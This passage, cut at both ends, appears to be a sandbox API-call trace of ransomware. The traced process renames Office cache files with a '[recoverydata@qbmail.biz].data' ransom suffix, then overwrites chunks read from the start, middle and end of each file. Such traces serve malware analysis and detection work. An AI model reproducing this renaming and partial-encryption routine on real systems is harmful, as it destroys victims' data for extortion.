(lpString1=".jpg", lpString2=".cab") returned 1 [0092.379] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0092.379] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0092.380] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0092.380] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=3124224) returned 1 [0092.380] CloseHandle (hObject=0x1b0) returned 1 [0092.380] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0092.380] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.380] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0092.381] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0092.381] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0092.381] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0092.382] ReadFile (in: hFile=0x1b0, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0092.582] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0092.582] ReadFile (in: hFile=0x1b0, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.592] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0094.592] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0094.592] ReadFile (in: hFile=0x1b0, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.706] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.706] WriteFile (in: hFile=0x1b0, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0095.244] SetEndOfFile (hFile=0x1b0) returned 1 [0095.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0095.248] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.248] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.250] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.250] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.256] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.256] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0095.259] CloseHandle (hObject=0x1b0) returned 1 [0095.259] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0095.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.259] lstrlenW (lpString=".doc") returned 4 [0095.259] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.259] lstrlenW (lpString=".docx") returned 5 [0095.260] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.260] lstrlenW (lpString=".pdf") returned 4 [0095.260] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.260] lstrlenW (lpString=".xls") returned 4 [0095.260] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.260] lstrlenW (lpString=".xlsx") returned 5 [0095.260] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.260] lstrlenW (lpString=".ppt") returned 4 [0095.260] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.260] lstrlenW (lpString=".zip") returned 4 [0095.260] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.260] lstrlenW (lpString=".rar") returned 4 [0095.260] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.260] lstrlenW (lpString=".bz2") returned 4 [0095.260] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.423] lstrlenW (lpString=".7z") returned 3 [0095.423] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.423] lstrlenW (lpString=".dbf") returned 4 [0095.424] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.424] lstrlenW (lpString=".1cd") returned 4 [0095.424] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.424] lstrlenW (lpString=".jpg") returned 4 [0095.424] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.424] lstrlenW (lpString=".doc") returned 4 [0095.424] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0095.424] lstrlenW (lpString=".docx") returned 5 [0095.424] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0095.424] lstrlenW (lpString=".pdf") returned 4 [0095.424] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0095.424] lstrlenW (lpString=".xls") returned 4 [0095.424] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0095.424] lstrlenW (lpString=".xlsx") returned 5 [0095.424] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0095.424] lstrlenW (lpString=".ppt") returned 4 [0095.424] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0095.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.425] lstrlenW (lpString=".zip") returned 4 [0095.425] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0095.425] lstrlenW (lpString=".rar") returned 4 [0095.425] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0095.425] lstrlenW (lpString=".bz2") returned 4 [0095.425] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0095.425] lstrlenW (lpString=".7z") returned 3 [0095.425] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0095.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.425] lstrlenW (lpString=".dbf") returned 4 [0095.425] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0095.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.425] lstrlenW (lpString=".1cd") returned 4 [0095.425] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0095.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0095.425] lstrlenW (lpString=".jpg") returned 4 [0095.425] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0095.426] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0095.426] lstrlenW (lpString="OnoteLR.cab") returned 11 [0095.426] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0095.426] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=17456632) returned 1 [0095.426] CloseHandle (hObject=0x218) returned 1 [0095.426] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0095.426] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.427] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0095.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0095.578] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0095.578] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.579] ReadFile (in: hFile=0x218, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.636] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.639] ReadFile (in: hFile=0x218, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.650] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.651] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.651] ReadFile (in: hFile=0x218, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.669] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.669] WriteFile (in: hFile=0x218, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0095.987] SetEndOfFile (hFile=0x218) returned 1 [0095.988] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0096.037] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.037] WriteFile (in: hFile=0x218, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.038] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.038] WriteFile (in: hFile=0x218, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.040] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.040] WriteFile (in: hFile=0x218, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2bcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.044] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0096.044] CloseHandle (hObject=0x218) returned 1 [0096.044] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0096.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.044] lstrlenW (lpString=".doc") returned 4 [0096.044] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0096.044] lstrlenW (lpString=".docx") returned 5 [0096.044] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0096.045] lstrlenW (lpString=".pdf") returned 4 [0096.045] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0096.045] lstrlenW (lpString=".xls") returned 4 [0096.045] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0096.045] lstrlenW (lpString=".xlsx") returned 5 [0096.045] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0096.045] lstrlenW (lpString=".ppt") returned 4 [0096.045] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0096.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.045] lstrlenW (lpString=".zip") returned 4 [0096.045] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0096.045] lstrlenW (lpString=".rar") returned 4 [0096.045] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0096.045] lstrlenW (lpString=".bz2") returned 4 [0096.045] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0096.045] lstrlenW (lpString=".7z") returned 3 [0096.045] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0096.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.045] lstrlenW (lpString=".dbf") returned 4 [0096.045] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0096.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.045] lstrlenW (lpString=".1cd") returned 4 [0096.045] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0096.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.045] lstrlenW (lpString=".jpg") returned 4 [0096.045] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.046] lstrlenW (lpString=".doc") returned 4 [0096.046] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString=".docx") returned 5 [0096.046] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0096.046] lstrlenW (lpString=".pdf") returned 4 [0096.046] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString=".xls") returned 4 [0096.046] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString=".xlsx") returned 5 [0096.046] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0096.046] lstrlenW (lpString=".ppt") returned 4 [0096.046] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.046] lstrlenW (lpString=".zip") returned 4 [0096.046] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString=".rar") returned 4 [0096.046] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0096.046] lstrlenW (lpString=".bz2") returned 4 [0096.046] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0096.046] lstrlenW (lpString=".7z") returned 3 [0096.046] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0096.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.046] lstrlenW (lpString=".dbf") returned 4 [0096.046] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0096.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.047] lstrlenW (lpString=".1cd") returned 4 [0096.047] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0096.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0096.047] lstrlenW (lpString=".jpg") returned 4 [0096.047] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0096.047] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0096.047] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0096.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0096.048] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=2507776) returned 1 [0096.048] CloseHandle (hObject=0x218) returned 1 [0096.048] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0096.048] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.048] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0096.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0096.049] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0x0) returned 1 [0096.049] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0096.049] ReadFile (in: hFile=0x218, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0096.054] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0096.054] ReadFile (in: hFile=0x218, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0096.071] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0096.071] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfc2c | out: lpNewFilePointer=0x0) returned 1 [0096.071] ReadFile (in: hFile=0x218, lpBuffer=0x35d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bcfc38, lpOverlapped=0x0 | out: lpBuffer=0x35d0058*, lpNumberOfBytesRead=0x2bcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0096.372] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bcfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.372] WriteFile (in: hFile=0x218, lpBuffer=0x3550020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2bcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3550020*, lpNumberOfBytesWritten=0x2bcfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0096.775] SetEndOfFile (hFile=0x218) returned 1 [0096.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x403a0d8 [0096.886] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, 